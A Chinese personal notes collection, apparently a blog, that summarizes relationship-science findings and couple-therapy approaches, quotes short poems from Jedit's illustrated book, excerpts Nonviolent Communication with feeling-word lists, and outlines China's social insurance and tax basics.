  • 我们并不如我们认为的那般了解或理解自己的浪漫伴侣，甚至在成功的亲密关系之中也会持续存在很多错误认知
  • 当我们开始结识别人时，他们会努力给我们留下好印象，但一旦我们喜欢或爱上他们，他们就很少努力保持礼貌、端庄和愉悦
  • 在非言语沟通方面男性一般不如女性做得好，非言语沟通的缺陷与亲密关系的不满存在相关
  • 我们常常认识不到：当我们与伴侣谈话时，伴侣并没有接受到我们想要传递的信息
  • 坏的比好的更有力量，我们与伴侣偶尔刻薄或挑剔的交往比我们为他们做的千桩好事更有影响力
  • 长期来看，亲密关系需要付出的代价往往比我们预计得要大得多
  • 浪漫、激情之爱是我们选择结婚的主要的理由之一，但久而久之它一般会减少
  • 约有三分之一人的不能轻松舒适地对待相互依赖的亲密感，他们要么担心伴侣不够爱自己，要么在走得太亲近时感觉不自在
  • 男性一般比女性期望更多的性行为，挫折感常常由此而起
  • 或迟或早，我们的伴侣都可能以某种方式背叛我们，给我们造成伤害和痛苦
  • 冲突是不可避免的
  • 平均来看，婚姻并不如过去那样幸福，离婚现在更为普遍

积极

  • 许多男性（约三分之一）也像女性惯常的那样温情脉脉、亲切体贴和敏感细腻，而不具备这些特点的男性也可能通过学习，变得比现在更加热情、更加具有表达性
  • 幸福的爱人会宽容地理解伴侣并解释他们的行为，假定伴侣无辜，甚至把伴侣偶尔的不端行为视为善意和关爱
  • 大多数人会寻求与浪漫伴侣的相互依赖和亲密关系，并对此感到安心
  • 在幸福的亲密关系之中，如果激情减少，就会出现深厚、关爱的友谊，此类友谊丰富而热情，足以满足双方
  • 真正的宽恕对接受方和给予方都有益，在那些亲密、满意、最值得挽救的亲密关系中最容易得到
  • 如果我们尽力去做，几乎所有人都能成为更体贴、更有魅力、更有奖赏价值的伴侣
    • 在非言语沟通方面，如果给予男女两性同样的激励，男性就可以做得和女性一样好
    • 如果我们花时间来检查我们的言语信息，就能减少或消除言语误解
    • 只要我们处处留意就比麻痹大意能更加礼貌、较少自私、更加体贴、较少挑剔地对待我们的伴侣
  • 人际关系学家主张“知识就是力量”：更好地理解了亲密关系之后，人们就能充分地做好准备，防止某些问题并轻松地克服其他难题

亲密关系的维持和提升

保持忠诚

  • 忠诚于伴侣关系的人与不太忠诚的伴侣相比，更加盼望亲密关系能持续
    • 他们对亲密关系的思考和行为方式也不同
    • 他们认识自己、伴侣以及亲密关系的方式都有助于维系伴侣关系
    • 其行为方式能避免或消除冲突，充实亲密关系

认知维持机制

  • 认知上的相互依赖：不再把自己视为单独的个体，而是视为包括自己及伴侣在内的更大整体的一部分
    • 更多使用复数称谓的代词，用我们、我们的取代我、我的
  • 积极错觉 ：认为伴侣的过失相对地无关紧要，关系的缺陷相对地无足轻重，伴侣的不端行为也视为无心之失或一时冲动而不放在心上
    • 彼此理想化并尽可能以最好的眼光来看待他们的亲密关系
    • 只要积极错觉不太离谱，有助于保护亲密关系
  • 感知到的优越感 ：忠诚的伴侣往往会认为他们的亲密关系比大部分人都要更好，他们越幸福，就会认为关系越出众
    • 真的使亲密关系更可能持续下去
  • 对替代选择的无视 ：满足的伴侣意识不到自己在替代关系中可能得到的好处，也相当不关心替代伴侣
    • 贬低诱人的替代选择：忠诚致使伴侣们蔑视那些能把他们从现存亲密关系吸引走的人
    • 幸福的情侣为保护他们的亲密关系，倾向于低估其他潜在对象的有利条件

行为维持机制

  • 牺牲的意愿
  • 米开朗基罗现象 ：追求爱情伴侣的理想形象而产生的潜移默化的影响
    • 当伴侣的行为表明他们鼓励我们成为我们想要成为的人时，亲密关系也可能变得更加亲密
    • 当伴侣鼓励我们成为自己所期望的人时，亲密关系和个人幸福都会得到提升
      • 支持我们去学习技能
      • 赞同我们接纳有前途的新角色和责任
      • 提升我们的自我成长
    • 如果关注和回应伴侣的需要和愿望，帮助他们成为他们想要成为的人，他们就会对亲密关系更为忠诚
  • 顺应 ：忠诚的爱人还倾向于忍受伴侣的一些不严重的苛刻对待而不还击，相反，做出一种建设性的反应
  • 自我控制：个体处理自己的冲动、控制自己的思绪、执着地追求既定目标并抑制不当行为的能力
    • 自我控制一般有益于亲密关系
    • 伴侣双方越能自控（一起明智决策和正确行事的能力越大），亲密关系通常更顺利、更满意
    • 任何人在紧张、分心或疲劳时，自控力都会减弱，人们暂时筋疲力尽时，更少顺应，更少宽恕，更多受到替代伴侣的诱惑
    • 感受到与家人和朋友的联系能增强自控，心爱伴侣的接纳能增强我们的自控力
  • 玩乐 ：伴侣能一起参与新异的、具有挑战性的、令人兴奋和快乐的活动时，他们通常会感到满足
    • 伴侣能一起玩乐就能更长久地在一起
    • 抽出时间进行富有创造性的玩乐有益于亲密关系
  • 宽恕能促进亲密关系和宽恕者本人的健康发展

其他

  • 与不贞斗争的配偶比其他寻求治疗的夫妻明显更为苦恼和抑郁
  • 关于出轨的两条建议
    • 如果伴侣不忠，不要匆促行事，冷静协商、处理和决策可能会有更好的结果
    • 避开诱惑，尽自己本分保护自己的亲密关系

保持满足

亲密关系满足的秘诀

  1. 欣赏你的伴侣
  2. 表达你的感激
  3. 重复上述两步
  • 部分人在拥有美满的亲密关系后，会认为它是理所应当的，这很危险的
    • 用交互依赖理论的话来说，比较水平会攀高
  • 当向伴侣表达我们的感激时，我们就能为他们提供巨大的价值认可和关爱

关系维持策略

其他

  • 伴侣如果能做自己公平分担的家务，经常保持愉快的情绪，定期向伴侣表达爱意和尊重，就非常有可能保持幸福的婚姻
  • 要维持幸福的亲密关系，我们不得不坚持到底， 这里自我控制再次显得重要
    • 长期来看，我们要持续保持快乐、爱恋和公平
    • 而那些不时对伴侣小气、苛刻和漠视的人请自负后果

修复关系

自我实践

  • 玩弄欲擒故纵的策略并没有多大作用 ，女性人为地延缓亲密关系的发展进程，对男性没有特别的吸引力
    • 对男人有吸引力的理想女人是除了他之外对所有人都故作清高的女性
  • 一些趣闻
    • 根据维基百科，畅销书《男人来自火星，女人来自金星》的作者约翰 · 格雷是从哥伦比亚太平洋大学获得的博士学位，大多数美国人都没听说过这所学校，因为后来该大学被加州政府关闭
    • 《关系法则》的作者之一在该书出版几年之后就被起诉离婚

预防性维持

  • 预防和关系提升项目（The Prevention and Relationship Enhancement Program, PREP）
    • 能改变伴侣观点和行为的承诺具有强大力量
      • 鼓励伴侣以长期的眼光来看待他们一起努力创造的未来
    • 一起快乐生活的重要性
      • 说服伴侣在日常生活的基础上一起重视玩乐
    • 关于性的坦诚沟通所带来的价值
      • 建议伴侣清楚而坦诚地表达他们的性欲望，并不时地尝试新事物
    • 不恰当期望的后果
      • 鼓励伴侣认识他们的期望，对自己的期望保持理性，并清楚地沟通他们的期望
    • 需要学习：说话者—听话者技术
  • 参加诸如 PREP 的婚前预防项目的普通人比 79% 的没有参加此项训练的人后来状况要更好，至少一段时间如此

婚姻治疗

行为的方法

  • 夫妻行为治疗（Behavioral Couple Therapy，BCT）
  • 夫妻认知—行为治疗（Cognitive-Behavioral Couple Therapy，CBCT）
  • 夫妻行为整合治疗（Integrative Behavior Couple Therapy，IBCT）
  • BCT 试图改变夫妻的行为，而 CBCT 试图改变他们的行为和认知，IBCT 试图改变他们的行为和情绪
    • 每种方法都可能适用不同的夫妻
    • 它们都有治疗作用

情绪中心的治疗

  • 情绪中心的夫妻治疗（Emotionally Focused Couple Therapy，EFCT）
    • 三个阶段
      1. 识别冲突模式，鼓励夫妻成为合作者
      2. 建立交往新模式，承认对方需要并提供保证和安慰
      3. 加强彼此的应大型，依靠新建立的安全感寻找老问题的新方法
    • 试图重新建立夫妻交往的理想模型
    • 治疗重点是夫妻们当前的交往
  • 顿悟导向的夫妻治疗（Insight-Oriented Couple Therapy，IOCT）
    • 更强到个体的易伤害性
    • 治疗的主要工具是：情感重构
    • 治疗原则
      1. 人们选择和对待伴侣的方式中，常常受到自己（意识不到的）隐藏的紧张和未满足的需要的影响
      2. 许多无意识冲突要么来自个体成长家庭中的事件，要么来自先前爱情关系中的事件
      3. 治疗的主要目标是使来访者获得对他们无意识冲突的顿悟
    • 来自情感性重构的顿悟有助于伴侣们对另一方的行为采取更仁慈的判断

婚姻治疗的共同特征

  • BCT，EFCT 和 IOCT 三种方法，经过谨慎的研究调查表明，它们适用于大多数夫妻
  • 婚姻治疗有助于大部分夫妻
  • 如何选择治疗方法
    • 答案非常简单：选择最吸引你的治疗和治疗师
    • 你选择的治疗师可能和你选择的治疗方法一样重要
      • 夫妻双方都尊重和信任治疗师，治疗就更有可能成功
    • 最吸引你的治疗方法更有可能带来真正的改变，这种乐观的态度非常有影响力

其他

  • 但如果相信“好姻缘天注定”和“伴侣无法改变”，任何治疗作用都微乎其微
    • 这种观念极其危险
  • 大多数离婚的人根本就没有咨询过婚姻治疗师，极少数寻求治疗的人通常要等到他们的问题非常严重时，才来寻求帮助
    • 男性尤其如此，不太可能像女性那样积极寻求婚姻治疗
    • 他们对发生的婚姻问题反应迟钝，不太可能相信治疗的效果，在有必要治疗时更是迟疑不决
  • 越早处理婚姻问题，就越容易解决，夫妻们的痛苦越深，就越难逆转
  • 不管何种情况，亲密伴侣坐视他们]所面临的、不可避免的困难而不处理都会后患无穷

婚龄持续了 45 年的满意夫妻自述的成功原因

  • 珍视婚姻，并认为婚姻是长期的承诺和忠诚；
  • 幽默感非常有益于婚姻；
  • 夫妻非常相似，在大部分事情上都能达成一致意见；
  • 真正喜欢自己的配偶，喜欢与配偶共度美好时光。

一些重要的人际关系科学结论

  • 积极错觉
  • 感知到的优越感
  • 对替代选择的无视
  • 米开朗基罗现象
  • 顺应
  • 自我控制
  • 玩乐
  • 亲密关系满足的秘诀
  • 关系维持策略
  • 对男人有吸引力的理想女人是除了他之外对所有人都故作清高的女性
  • 参加诸如 PREP 的婚前预防项目的普通人比 79% 的没有参加此项训练的人后来状况要更好，至少一段时间如此
  • 如何选择治疗方法：选择最吸引你的治疗和治疗师
  • “好姻缘天注定”和“伴侣无法改变”， 这种观念极其危险
  • 男性不太可能像女性那样积极寻求婚姻治疗
  • 越早处理婚姻问题，就越容易解决，夫妻们的痛苦越深，就越难逆转
  • 婚龄持续了 45 年的满意夫妻自述的成功原因

没事，一切都会好起来的

韩国人气插画师 Jedit 所著插画集《没事，一切都会好起来的》中，所摘录的诗歌。

每首诗歌短小却可爱，推荐一看。


第一首并非诗歌，而是画集封底画师的后记，甚为喜欢，特此记录。

封底

我想画的并非居住在幸福童话中的人们，

而是和你我相同的一般人，

在怀抱着不安与恐惧的同时，也期待着希望的到来，

渴望在反复的日常中，窥见幸福的瞬间。

在上床睡觉之前，想要求得安慰或感到沮丧时，

或者心里感到疲惫、不安的时候，

无论何时何地，翻开书中的任何一页，

希望你能在画中找到只属于自己的故事。

灿烂的尽头

只有穿越了黑暗才明白，

光，原来是如此的灿烂。

朝着尽头

就算旅途漫漫，

也终究有它的终点。

所有美好的故事，

也必将会有一个美好的结局。

对话

夜晚既冷且长，

却因有那么多想要分享的话题而格外充实。

我们就这样在深夜里

走了又走。

飞吧

终于，

他松开了豢在心中的小鸟。

这是多么漫长的旅程啊。

分享日常

听听你的声音，

捡起一些回忆，

分享着彼此的日常、露出笑容的时候，

感觉世界就好像被施了魔法一样，

更加可爱了。

给你

如果要抱着你前行，我会有些吃力。

如果硬要你自己勇往直前，你也会厌倦不堪的吧。

所以，我会等着你的，

我们一起走下去。

海浪

你和我呀，真的很像呢。

孩子将星星拥入怀中，以海浪当作被褥。

奇怪，这样就再也不孤独了呢。

呼唤的声音

往无尽的深渊沉沉坠下时，

我听到了你的声音。

终于，我拼尽全力重新抬起了头。

花

一定会绽放得娇艳动人，

哪怕花开的节奏各有不同。

因为，你就是花啊。

紧急降落

偶尔我也会想，

这所有的一切，

会不会是因为我紧急降落在了

一颗陌生的小行星上？

精灵之舞

当你进入了梦乡，

月光下的精灵便翩翩起舞。

当你清晨再次醒来，

这个世界这般耀眼，

大概也正是因为如此吧。

井

旅行者坐在井边沉思着。

想想打造了这口井的人，

想想他的孤单，

想想他那散落一地的梦想。

来自宇宙的信

亲爱的，你好呀，

我现在要出发去宇宙的那一边啦。

你寄来的信，总是沾着月亮的星尘，

让我的心如此砰砰乱跳。

来自月亮的回信

每天晚上，我都写信给月亮。

当朦胧的清晨再次到来，

世间万物逐渐恢复了原本的颜色。

我突然明白——

这，就是月亮的回信啊。

离别

如果把每一天都算作是一场离别，

我会将这离别变成最唯美的过程。

待到下一个清晨来临，

再带着全新的怦然心动向它问好。

门

孩子小心翼翼而又坚定地

画了一扇门。

这是一扇，只有孩子自己能打开的门。

梦的距离

梦啊，比想象的更近一些。

我们需要做的

只是把手电筒打开而已。

梦尽头的你

总是站在温暖梦乡尽头的你啊，

我来见你啦。

哪怕没有理由

为你写一些文字，

并不需要太多理由。

因为阳光很好，

因为花儿很香，

因为想念你。

你的花园

每当想念你的时候，

我就种下一株花，

不知不觉，便成就了这样娇艳的花园。

你的季节

这是你的季节。

漾起的微风、飘舞的花瓣和耀眼的阳光。

这些，都是你的呀。

你的星星

天空和大地茫茫地连成了一片光，

让人有点晕乎乎。

但你的那颗星星是最亮的，

所以，我才没有迷路呀。

散步

突然想起某一天的散步。

那暖融融的阳光、风

和没有来由的心跳和音乐。

沙漠里的玫瑰

“每个人，

都很想找到沙漠里盛放的玫瑰。”

“没关系的，

我早已习惯了等待。”

守灯人

重新为城市里那些熄灭的路灯漆上灯光，

是他的工作。

他由衷地热爱着他的工作。

特别的时刻

约好了哦，

最平凡的时刻也会成为最特别的时刻。

温暖的约定

两个人注视着彼此的眼眸，互相约定：

我们一定会再次相见的，

我在最温暖的季节等待着你。

我的宇宙

“快看这个。”

昏暗的阁楼上，孩子打开了箱子。

“欢迎来到我的宇宙！”

献给身在某处的你

我啊，一直都在那个地方哦。

掀开书本，

抖落灰尘，

我就在那里呢，来找我吧。

相信

她仰望着天空。

一切都会像魔法一样，

越来越好的，

她坚信着。

小蜡烛

你真是闪闪发光呀！

直到现在，

小蜡烛还没有见过比自己更明亮的东西呢。

小小的对白

“我呀，在公交车站看到鲸鱼飞过去啦。”

你静静地听着，

“一定很漂亮啰。”你答道。

心

给心浇浇水，

它冒出了嫩芽，绽放了花朵。

这就是我的心啊，

总是想展露给你看的心啊。

是不是既温暖又柔软呢？

每当我想你的时候，心就变成了这样。

心啊，是不会说谎的。

幸福

平和的午后时光，

像画一样的那些瞬间。

阳光

我带了这么多，

这么多的阳光来给你哦！

这些阳光会让你露出微笑吧。

这不难吧。

一些安慰

就算有时候，我们觉得一切都糟透了，

美好的瞬间也一定会不期而遇的。

憧憬吧。

音乐

“演奏一首什么样的曲子呢？”

“只要是你演奏的，什么都是最好的。”

永远

如果，停止的一瞬，

就叫做永远的话，

我们之间，经历了那么多的永远啊。

枕边的故事

每当巨大的月亮升起，

胆怯的狼

便坐在月光之下，

聆听那些冒险故事。

不识字的少年啊，

煞有介事地朗读着无字的书页，

只想窥探彼此更深的眼眸。

这大概也是为何

夜空中的月光如此清冽吧。

终点站

孩子递出了手中的车票。

“现在，轮到你讲故事啦。”

就这样，这里已经不再是终点站了。

最美的东西

花语有什么重要的呢？

为某人准备一束花二，

那颗心啊，就比花本身更加美丽了。

零零散散

一些简短的知识点或词句摘录，依据共鸣或重要程度排序。

非暴力沟通

诗歌

面具


总是一副面具

由纤细白皙的手举着

挡在脸前，


那轻轻举着面具

的手腕

十分灵巧：

虽然有时

有点颤抖，

指尖抖动，

但总是

能把面具举好。


年复一年我不禁好奇

但不敢问

终于

无意中

看到了面具背后

却

什么也没有。

她没有脸。


她已成了

优雅地

举着面具的手。


——佚名

非暴力沟通模式

诚实地表达自己，而不批评、指责

观察

我所观察（看、听、回忆、想）到的有助于（或无助于）我的福祉的具体行为：

“当我（看、听、想到我看到的/听到的） ……”

感受

对于这些行为，我有什么样的感受（情感而非思想）：

“我感到……”

需要

什么样的需要或价值（而非偏好或某种具体的行为）导致我那样的感受：

“因为我需要／看重……”

请求

清楚地请求（而非命令）那些能丰富我生命的具体行为，

“你是否愿意……？”

关切地倾听他人，而不解读为批评或指责

观察

你所观察（看、听、回忆、想）到的有助于（或无助于）你的福祉的具体行为：

“当你（看、听、想到你看到的/听到的） ……”

感受

对于这些行为，你有什么样的感受（是情感而非思想）：

“你感到……吗？”

需要

什么样的需要或价值（而非偏好或某种具体的行为）导致你那样的感受：

“因为你需要／看重……”

请求

关切地倾听那些能丰富你生命的具体请求，而不解读为命令：

“所以，你想……”

书眉法则

  • 非暴力沟通的四个要素
    • 观察
    • 感受
    • 需要
    • 请求
  • 非暴力沟通过程
    • 什么是我的观察
    • 我的感受如何
    • 哪些需要（或价值、愿望等）导致那样的感受
    • 为了改善生活，我的请求是什么
  • 有些沟通方式使我们难以体会到心中的爱
  • 对他人的评价实际上反映了我们的需要和价值观
  • 分类和评判提倡的是暴力
  • 比较也是一种评判
  • 不带评论的观察是人类智力的最高形式
  • 示弱有助于解决冲突（？）
  • 区分感受和自我评价
  • 区分感受和评判
  • 别人的行为可能会刺激我们，但并不是我们感受的根源
  • “生活的主人”——我们对自己的意志、感受和行动负完全的责任
  • 当对方给予反馈，表达我们的感激。如果对方不愿反馈，倾听他的感受和需要。
  • 分析妨碍了倾听
  • 询问前，先表达我们的感受和需要
  • 当我们痛苦得无法倾听他人时，我们需要
    • 体会自己的感受和需要
    • 大声地提出请求
    • 换一个环境
  • 非暴力沟通最重要的应用也许是培养对自己的爱
  • 非暴力沟通的忧伤：当我们的行为无法满足自身的需要，我们体会着人生的悲哀和内心的渴望
  • 非暴力沟通自我宽恕：感到遗憾时，我们试图了解过去的行为所要满足的需要
  • 让我们的行动基于对生命的爱，而非恐惧、内疚、羞愧或义务
  • 希望他人因为内疚发生改变，就是将刺激和原因混为一谈
  • 表达愤怒的步骤
    • 停下来，呼吸
    • 留意我们的指责
    • 体会我们的需要
    • 表达感受和尚未满足的需要
    • 有时，在第3步和第4步之间，我们需要先倾听他人
  • 越是能够倾听他人，也越是有机会被倾听
  • 体会自己的感受和需要可以释放压力
  • 体会他人的感受和需要也可以释放压力

摘录

　　非暴力沟通指导我们转变谈话和聆听的方式。我们不再条件反射式地反应，而是去明了自己的观察、感受和愿望，有意识地使用语言。

　　暴力的根源在于人们忽视彼此的感受与需要，而将冲突归咎于对方——至少大部分暴力的根源都是如此，不论是语言、精神或身体的暴力，还是家庭、部落以及国家的暴力。

　　异化的沟通方式

　　批评、指责、辱骂、归类、比较以及评论等都是在评判人。

　　“一件值得做的事情即使做得不怎么样也是值得的！”

　　在《让自己过上悲惨生活》一书中，作者丹·格林伯格（Dan Greenberg）诙谐地揭示了比较对我们的影响。他建议读者，如果真的想过上悲惨生活，就去与他人做比较。

　　“我常常想，如果有一天，技术的进步最终被用来摧毁人类，那么，并非是暴行导致人类的灭亡，当然，更不能说是复仇行为使人类灭亡……

　　我们所看到的悲剧和马上就要看到的更大悲剧，并非是世界上反抗的人、不服从的人增多了，而是唯命是从的人、听话的人越来越多。”

　　一旦意识不到我们是自己的主人，我们就成了危险人物。

　　我们大多数的人使用的语言倾向于评判、比较、命令和指责，而不是鼓励我们倾听彼此的感受和需要。

　　印度哲学家克里希那穆提（J.Krishnamurti）曾经说，“不带评论的观察是人类智力的最高形式。”

　　我知道，一旦我想为自己辩护或开脱，我就默认了自己有问题。另一种反应是把对方的话视为攻击而给予反击。

　　还有的词表达的是想法，而非感受。为了清晰地表达感受，我们编制了以下的词汇表：

  • 下列词语可用来表达我们的需要得到满足时的感受
    • 兴奋
    • 喜悦
    • 欣喜
    • 甜蜜
    • 精力充沛
    • 兴高采烈
    • 感激
    • 感动
    • 乐观
    • 自信
    • 振作
    • 振奋
    • 开心
    • 高兴
    • 快乐
    • 愉快
    • 幸福
    • 陶醉
    • 满足
    • 欣慰
    • 心旷神怡
    • 喜出望外
    • 平静
    • 自在
    • 舒适
    • 放松
    • 踏实
    • 安全
    • 温暖
    • 放心
    • 无忧无虑
  • 下列词语可用来表达我们的需要没有得到满足时的感受
    • 害怕
    • 担心
    • 焦虑
    • 忧虑
    • 着急
    • 紧张
    • 心神不宁
    • 心烦意乱
    • 忧伤
    • 沮丧
    • 灰心
    • 气馁
    • 泄气
    • 绝望
    • 伤感
    • 凄凉
    • 悲伤
    • 恼怒
    • 愤怒
    • 烦恼
    • 苦恼
    • 生气
    • 厌烦
    • 不满
    • 不快
    • 不耐烦
    • 不高兴
    • 震惊
    • 失望
    • 困惑
    • 茫然
    • 寂寞
    • 孤独
    • 郁闷
    • 难过
    • 悲观
    • 沉重
    • 麻木
    • 精疲力尽
    • 委靡不振
    • 疲惫不堪
    • 昏昏欲睡
    • 无精打采
    • 尴尬
    • 惭愧
    • 内疚
    • 妒忌
    • 遗憾
    • 不舒服

　　听到不中听的话时，我们有四种选择。

　　第一种是认为自己犯了错。

　　第二种是指责对方。

　　第三种是了解我们的感受和需要。

　　第四种是用心体会他人的感受和需要。

　　家长也许会和孩子说：“你成绩不好让爸爸妈妈伤透了心！”言下之意是，他们快乐或不快乐是孩子的行为造成的。看到父母的痛苦，孩子可能会感到内疚，并因此调整行为来迎合他们。遗憾的是，这种调整只是为了避免内疚，而非出自对学习的热爱。

　　如果我们通过批评来提出主张，人们的反应常常是申辩或反击。反之，如果我们直接说出需要，其他人就较有可能作出积极的回应。

　　如果别人感到不安，我们可以认真地倾听，但无需责备自己。

　　虽然我们对自己的意愿、感受和行动负有完全的责任，但无法为他人负责。我们还发现，人与人相互依存，损人无法真正利己。非暴力沟通正是想帮助我们既表达自己，又关心他人。

　　个人成长一般会经历三个阶段：

  1. “情感的奴隶”——我们认为自己有义务使他人快乐；
  2. “面目可憎”时期——此时，我们拒绝考虑他人的感受和需要；
  3. “生活的主人”——我们意识到，虽然我们对自己的意愿、感受和行动负有完全的责任，但无法为他人负责。与此同时，我们还认识到，我们无法牺牲他人来满足自己的需要。

　　我们提出的请求越具体越好。如果我们的意思含糊不清，别人就难以了解我们到底想要什么。

　　抽象的语言无助于深化自我认识。

　　如果管理者想让他的请求更具建设性，他可以说：“你们是否可以告诉我，我怎样做，你们在和我谈话时才能放得开？”

　　如果一个人提出了明确的请求，却没有提及感受和需要，也有可能导致交流的困难。

　　明确谈话的目的。

　　在确认对方已经明白后，我们常常会急于了解对方的反应。

　　在人们无法满足我们的愿望时，我们是否尊重他们的感受和需要最能体现我们提出的是请求还是命令。

　　在刚开始运用非暴力沟通时，我们也许会发现，有时我们只是在运用非暴力沟通的表达形式，而忘记了它所服务的目的。

　　我们避免使用抽象的语言，而借助具体的描述，来提出请求。

　　如果我们清楚地表达我们无意强人所难，人们一般会相信，我们提出的是请求而非命令。非暴力沟通的目的不是为了改变他人来迎合我们。

　　法国作家西蒙娜·薇依（Simone Weil）写道：“倾听一个处于痛苦中的人，不仅十分罕见，而且非常困难。那简直是奇迹，那就是奇迹。有些人认为他们可以做到，实际上，绝大部分的人还不具备这种能力。”

　　如果一个人想要别人了解他的处境，听到的却是安慰和建议，那么，他就有可能觉得不太舒服。

　　非暴力沟通建议我们使用疑问句来给予他人反馈。

　　我把注意力放在了他现在需要什么，而不是自己做错了什么。

　　什么时候需要给别人反馈呢？首先，在对自己的理解没有把握时，我们需要对方的确认。

　　一般来说，如果一个人在说话时有明显的情绪，他一般会期待得到他人的反馈。

　　然而，在一些文化环境中，我们也许很难用语言给他人反馈。

　　在给他人反馈时，我们的语气十分重要。一个人在听别人谈自己的感受和需要时，将会留意其中是否暗含着批评或嘲讽。如果我们的语气很肯定，仿佛是在宣布他们的内心世界，那么，通常不会有好的反应。

　　有时，我们认为自己受到了指责，实际上，那些话是他人表达需要和请求的方式。

　　作家约瑟夫·坎伯（Joseph Campbell）说道：“为了幸福，必须把‘别人怎么看我’这个问题放在一边。”

　　如果人们常常怀疑我们的诚意，那么，我们就需要好好审视自己的动机。

　　在解决问题或询问他人的请求前，为他人的充分表达创造条件。如果过早地提及他人的请求，我们也许就无法传达我们的关心；甚至还会被看作是应付。

　　怎样判断对方的感受是否已经充分表达呢？首先，如果一个人觉得别人已经完全明白他的意思，他就会变得轻松。这时，我们也会感到放松。另一个更为明显的标志是，他停止了谈话。如果无法确定对方是否还有话要说，就不妨问一句：“你还有什么话要告诉我吗？”

　　联合国前秘书长汉马斯克德（Dag Hammarskjold）曾经说道：“你越是留意自己内心的声音，就越能够听到别人的声音。”

　　如果对方正处于激烈的情绪中，他也可能无法留意我们的感受和需要。这时，我们的另一种选择是，换一个环境。我们需要时间和空间来调整状态，等平静下来了，再回来。

　　我们越是倾听他人语言背后的感受和需要，就越不怕与他们坦诚地沟通。我们最不愿意示弱的时候往往是因为担心失去控制想显得强硬的时候。

　　你和我们说，在一个生气的人面前，永远不要用“不过”“可是”“但是”之类的词语。

　　有的时候，谈话的气氛很沉闷。我们体会不到说话的人有怎样的感受和需要，也不知道他对我们有什么期待。

　　如果听的人很烦，说的人一般也会觉得很无聊。

　　打断别人比假装在听，更符合对方的愿望。所有的人都希望自己的话对人有益，而不想被人当作负担。

　　羞愧是自我憎恨的一种形式，出于羞愧的行为不是自由而快乐的行为。

　　在我们的语言中，有一个词极易引起羞愧和内疚。我们经常使用它来打击自己。它在我们的意识中是如此根深蒂固，以致许多人无法想象，没有它生活将如何继续。这个词就是“应该”，也就是“我应该早点知道”或“我不应该做那件事情”中的“应该”。

　　如果我们专注于需要是否得到满足以及得到怎样的满足，我们就更有可能从自我评价中获益。

　　非暴力沟通鼓励我们直面人生的苦难：在遇到挫折时，充分体会人生的悲哀和内心的渴望。是的，感到遗憾是难免的。但它能帮助我们从经历中学习，而无须责备自己。

　　爱惜自己的关键之一是同时包容那两个不同的“我”：一方面包容对过去的某种行为感到后悔的“我”，另一方面包容采取那种行为的“我”。

　　深入理解我们行为的动机

　　一些行为是出于下列的一种或多种动机：

　　1）为了钱

　　2）为了得到赞同

　　3）为了逃避惩罚

　　4）不想感到羞愧

　　5）为了避免内疚

　　6）为了履行职责

　　当我们的表现不完美时，我们可以通过体会忧伤和自我宽恕，来看清个人成长的方向，以及避免自我惩罚。

　　如果在一个社会中，内疚被运用来控制人；那么，指责他人就容易成为一种习惯。

　　专注于我们的需要，比评判他人是什么人，更有益于生活。

　　我们需要有足够的耐心来学习和运用非暴力沟通。在与人交往的过程中，我们的第一反应常常是习惯性的反应，因此，运用非暴力沟通有时是很别扭的事。

　　需要注意的是，在非暴力沟通中，我们运用强制力是出于防卫的目的而不是为了惩罚对方。

　　有两个问题可以帮助我们认识惩罚的局限性。第一个问题是，如果我不喜欢他现在的行为，那我希望他怎么做？我希望他基于怎样的原因去做我想要他做的事情？

　　在生活中，有时我们会感到沮丧，觉得前途一片黑暗。欧内斯特·贝克（Ernest Becker）在他的《精神病学的革命》一书中提出，沮丧是因为一个人处于激烈的内心冲突之中，无所适从。

　　如果以苛刻的态度对人对己，我们的心情也好不到哪里去。

　　他们的对话回答了我长期以来对分离疗法（Clinical Detachment）的困惑。在我所接受的教育中，分离疗法被认为是心理分析疗法的金科玉律。

　　在非暴力沟通中，你感到不耐烦不是因为我做了什么，而是因为你期待我有不同的行为方式。

　　用非暴力沟通的方式表达感激时，我们只是为了庆祝他人的行为提升了我们的生活品质，而不是想得到任何回报。

　　非暴力沟通表达感激的方式包含三个部分：

　　1.对方做了什么事情使我们的生活得到了改善；

　　2.我们有哪些需要得到了满足；

　　3.我们的心情怎么样？

　　在听到别人表达对我们的感激时，我们也许会觉得别扭。我们不知道自己是否真的那么好。我们甚至会担心别人对我们有所期待——特别是老师或经理试图通过赞扬来提高我们的学习和工作效率。此外，我们还可能担心在将来失去别人的赏识。

　　以色列前总理哥达·梅厄（Golda Meir）曾经责备她的一位内阁部长：“不要那么谦虚，因为你没有那么伟大。”

　　我发现我总是想做得更好，却很少肯定已有的成绩。

　　在赞扬他人时，我们很少揭示内心活动，而把自己放在了裁判的位置。在表达感激时，我们说出：（1）对我们有益的行为；（2）我们的哪些需要得到了满足；（3）我们的需要得到满足后，我们是什么样的心情。

漫画经济学：生活常识

五险一金

内容

养老保险

  • 退休前至少缴够 15 年
  • 退休金额与工作多年的平均工资和缴纳年数呈正相关
  • 种类
    • 基本养老金：大多数人唯一拥有的养老金
    • 职业养老金
    • 个人养老金

工伤保险

  • 至少缴满一年才能使用
  • 办理手续很麻烦

医疗保险

  • 门诊一般走个人账户

  • 报销范围

    • 不包括进口药
    • 不包括特殊医疗设备
    • 不包括特殊医疗服务
    • 甲类药品全能报：价格低的常见药
    • 乙类药品部分能报：类型相似，比甲类贵
    • 丙类药品不给报：高价格，多为保健品、新药

  • 报销金额

    • 在指定医院或指定药品上才能报销，且各地报销比例不同

    • 报销药费按总消费比例算

    • 报销费用占比：

    总医药费 => 起付线封顶线以内 => 去除自费项目 => 按剩下金额乘以报销比例 => 报销费用

  • 其他

    • 医保必须有，不放心可以增加商业医疗保险

失业保险

生育保险

住房公积金

缴费比例

  • 缴费基数 × 缴费比例 = 应缴金额
  • 工资 > 上限 => 缴费基数 = 上限
  • 工资 < 下限 => 缴费基数 = 下限
  • 不高不低 => 缴费基数 = 工资

其他

  • 自己只用缴三险一金
    • 养老
    • 失业
    • 医疗
    • 公积金
  • 公司缴额外的金额，不算在工资里，但缴纳比例按工资的缴费基数算
  • 五险一金账户
    • 统筹基金：国家管理
      • 公司交的医疗保险大部分在这里
    • 个人账户：自己使用

社保基金告急问题

  • 原因：老龄化越来越严重
  • 解决方案
    • 社保基金投资
    • 划转国有资本（国有企业股票分红划入社保基金）

纳税相关

种类

所得税

  • 工资
  • 个体经营
  • 劳务报酬
  • 稿酬
  • 房租收入
  • 中彩票
  • 其他
  • 注意：免征额

流转税

  • 商品流通过程中缴纳的税收

  • 主要种类

    • 增值税
    • 消费税
      • 特殊商品
      • 奢侈品
      • 高能耗商品
      • 不可再生商品
      • 关税

财产和资源税

  • 先天资源
  • 人造财产
